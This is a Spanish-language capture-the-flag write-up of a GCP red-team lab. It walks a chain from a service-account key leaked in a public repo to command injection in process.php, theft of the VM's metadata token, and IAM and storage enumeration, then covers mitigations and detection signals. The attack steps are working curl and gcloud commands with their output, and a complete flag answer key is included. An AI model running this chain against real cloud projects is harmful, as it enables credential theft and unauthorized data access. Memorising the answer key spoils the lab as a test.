GCP Cloud Red Teaming — CWL Meta Tech Assessment
Cadena de ataque contra infraestructura GCP: service account key filtrada en un repo público → acceso gcloud → SSRF+RCE en VM → robo de token OAuth2 vía metadata (Metadata-Flavor: Google) → enumeración de IAM y GCS. Con guardrails de mitigación.
GCP Cloud Red Teaming — CWL Meta Tech Assessment
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo GCP) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura GCP de CWL Meta Tech Corporation.
1. Executive Summary & Attack Surface
El módulo GCP es el que mejor ilustra el riesgo de supply chain: el initial access no es un recurso cloud expuesto, sino una service account key en base64 embebida en un pipeline.yml de un repositorio público. Esa key (con un custom role que solo lista instancias) no da acceso administrativo por sí sola — pero permite identificar la infraestructura y llegar a la VM con la app vulnerable. El patrón SSRF→metadata se repite con un tercer sabor de IMDS (Metadata-Flavor: Google), y el token robado de la VM sí escala: roles/reader a nivel proyecto + acceso a Storage.
Cadena de ataque
Superficie de ataque
| Vector | Detalle | Credenciales requeridas |
|---|---|---|
| SA key en repo público | cwl-metatech/production-data → pipeline.yml con ENCRYPTED_GCP_KEY en base64 |
Ninguna |
Custom role VMReadgek |
La key solo permite compute.instances.list |
La key filtrada |
| SSRF + RCE | process.php en la VM stag-instance |
Ninguna |
| GCP IMDS | Metadata-Flavor: Google → token OAuth2 de la VM |
Ninguna (vía RCE) |
| Token de VM | roles/reader a nivel proyecto + acceso a Storage |
Token robado |
Initial access: la lección central del módulo es que una key con el mínimo privilegio todavía es un activo de reconocimiento: permite mapear el proyecto, localizar la instancia y alimentar el siguiente eslabón de la cadena.
2. Privilege Escalation & Lateral Movement Path
2.1 Flags 1–2 — OSINT en GitHub y la key en el pipeline
El repositorio público cwl-metatech/production-data expone una CI/CD pipeline con una variable de entorno en base64:
curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
| base64 -d | python3 -m json.tool
{
"type": "service_account",
"project_id": "mcrta-exam",
"client_email": "dev-service-account@mcrta-exam.iam.gserviceaccount.com"
}
Flags 1–2: https://github.com/cwl-metatech/production-data · mcrta-exam
2.2 Flags 3–4 — Autenticación y discovery de infraestructura
La key trae \n literales (escapes JSON) que hay que normalizar antes de usarla con gcloud:
curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' | base64 -d \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
data['private_key'] = data['private_key'].replace('\\\\n', '\n')
print(json.dumps(data, indent=2))
" > /tmp/dev-sa-key.json
gcloud auth activate-service-account --key-file=/tmp/dev-sa-key.json
gcloud config set project mcrta-exam
gcloud compute instances list --project mcrta-exam
# NAME ZONE MACHINE_TYPE EXTERNAL_IP STATUS
# stag-instance us-central1-b n1-standard-1 34.27.221.40 RUNNING
gcloud compute instances describe stag-instance --zone us-central1-b \
--project mcrta-exam --format="get(serviceAccounts)"
# {'email': 'vm-service-account@mcrta-exam.iam.gserviceaccount.com', 'scopes': [...]}
Flags 3–4: stag-instance · vm-service-account@mcrta-exam.iam.gserviceaccount.com
2.3 Flags 5–7 — Pivot: metadata de la VM y política IAM
La dev SA no puede leer IAM del proyecto, pero la VM ejecuta el mismo process.php. GCP metadata exige el header Metadata-Flavor: Google (el equivalente a Metadata: true de Azure):
curl -s -X POST "http://34.27.221.40/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'
Con el token OAuth2 de la VM se lee la política IAM completa del proyecto:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
-X POST -H "Content-Type: application/json" \
"https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" \
-d "{}" | python3 -m json.tool
{
"bindings": [
{ "role": "roles/reader",
"members": ["serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"] },
{ "role": "projects/mcrta-exam/roles/VMReadgek",
"members": ["serviceAccount:dev-service-account@mcrta-exam.iam.gserviceaccount.com"] }
]
}
La definición del custom role:
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek" | python3 -m json.tool
# "includedPermissions": ["compute.instances.list"]
Flags 5–7: roles/reader (VM) · dev-service-account@mcrta-exam.iam.gserviceaccount.com (VMReadgek) · compute.instances.list
2.4 Flags 8–10 — Storage: del bucket al license-key.txt
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=mcrta-exam" \
| python3 -m json.tool | grep '"name"'
# "name": "stag-storage-metatech-prod11"
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o" \
| python3 -c "import sys,json;[print(o['name']) for o in json.load(sys.stdin).get('items',[])]"
# license-key.txt
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/stag-storage-metatech-prod11/o/license-key.txt?alt=media"
# V13JG-NPH5M-S97JM-9MPGT-3S66T
Flags 8–10: roles/reader (dev SA a nivel VM) · stag-storage-metatech-prod11 · V13JG-NPH5M-S97JM-9MPGT-3S66T
2.5 Resumen de flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | GitHub repo con leaked key | https://github.com/cwl-metatech/production-data |
| 2 | Project ID | mcrta-exam |
| 3 | Compute instance name | stag-instance |
| 4 | SA email del instance | vm-service-account@mcrta-exam.iam.gserviceaccount.com |
| 5 | Role de VM SA a nivel project | roles/reader |
| 6 | SA con VMReadgek custom role | dev-service-account@mcrta-exam.iam.gserviceaccount.com |
| 7 | Permiso en VMReadgek | compute.instances.list |
| 8 | Permiso de dev SA a nivel VM | roles/reader |
| 9 | Nombre del storage bucket | stag-storage-metatech-prod11 |
| 10 | License key | V13JG-NPH5M-S97JM-9MPGT-3S66T |
3. Mitigation & Cloud Guardrails
3.1 Guardrails por capa
Secretos — eliminar la entrada:
- Nunca commitear service account keys, ni siquiera en base64. Usar Workload Identity Federation o secreto rotado por Secret Manager.
- Escanear repos con secret scanning (GitHub Push Protection) y trufflehog/gitleaks en el historial, y rotar cualquier key expuesta — una key "de mínimo privilegio" filtrada todavía expone el project ID y habilita el reconocimiento.
IAM — mínimo privilegio real:
// Custom role endurecido: quitar compute.instances.list global y acotar
{
"includedPermissions": ["compute.instances.get"]
}
// Policy de la VM: solo la identidad necesaria, sin reader a nivel proyecto
{
"bindings": [
{ "role": "roles/reader",
"members": ["serviceAccount:vm-service-account@mcrta-exam.iam.gserviceaccount.com"],
"condition": { "title": "restrict-to-resource",
"expression": "resource.name == 'projects/mcrta-exam/zones/us-central1-b/instances/stag-instance'" } }
]
}
Metadata service — endurecer el acceso:
- Restringir la default service account de la VM (la que expone el token en
/computeMetadata/v1/instance/service-accounts/default/token) y asignar una SA dedicada sinstorage.*global. - El SSRF debe neutralizarse en origen (validación de URL + allowlist de destinos), no confiando en el header: un SSRF con
file://o redirección sigue siendo el mismo primitivo.
Storage:
roles/storage.objectVieweracotado al bucket conconditionenresource.name, o IAM conditions a nivel objeto.- Logging de acceso a GCS (
DATA_READ) con alertas para lecturas anómalas desde SA de VM.
3.2 Matriz finding → guardrail → detección
| Finding | Guardrail | Señal de detección |
|---|---|---|
| SA key en repo público | Secret scanning + Workload Identity | GitHub Secret Scanning alerts; gcloud auth desde IP externa no corporativa (Cloud Audit Logs google.iam.admin.v1 / oslogin) |
Custom role compute.instances.list global |
Custom role mínimo + conditions | Llamadas compute.instances.list frecuentes desde una SA de dev |
| SSRF→metadata token theft | Validación de URL + allowlist | Peticiones a metadata.google.internal desde la app (VPC flow logs / audit) |
roles/reader a nivel proyecto en la VM |
Binding con condition por recurso | google.cloud.resourcemanager.v1.Projects/GetIamPolicy desde la SA de la VM |
| Bucket accesible con token de VM | objectViewer acotado por bucket/condición |
storage.objects.get sobre license-key.txt desde una SA de VM |
3.3 Orden de prioridad
- Rotar la SA key filtrada y activar secret scanning (corta la entrada).
- Neutralizar SSRF+RCE en
process.php. - Acotar IAM de la VM (
readersolo con condition por recurso) y restringir la default SA. - Acotar acceso a Storage al bucket y objeto necesarios.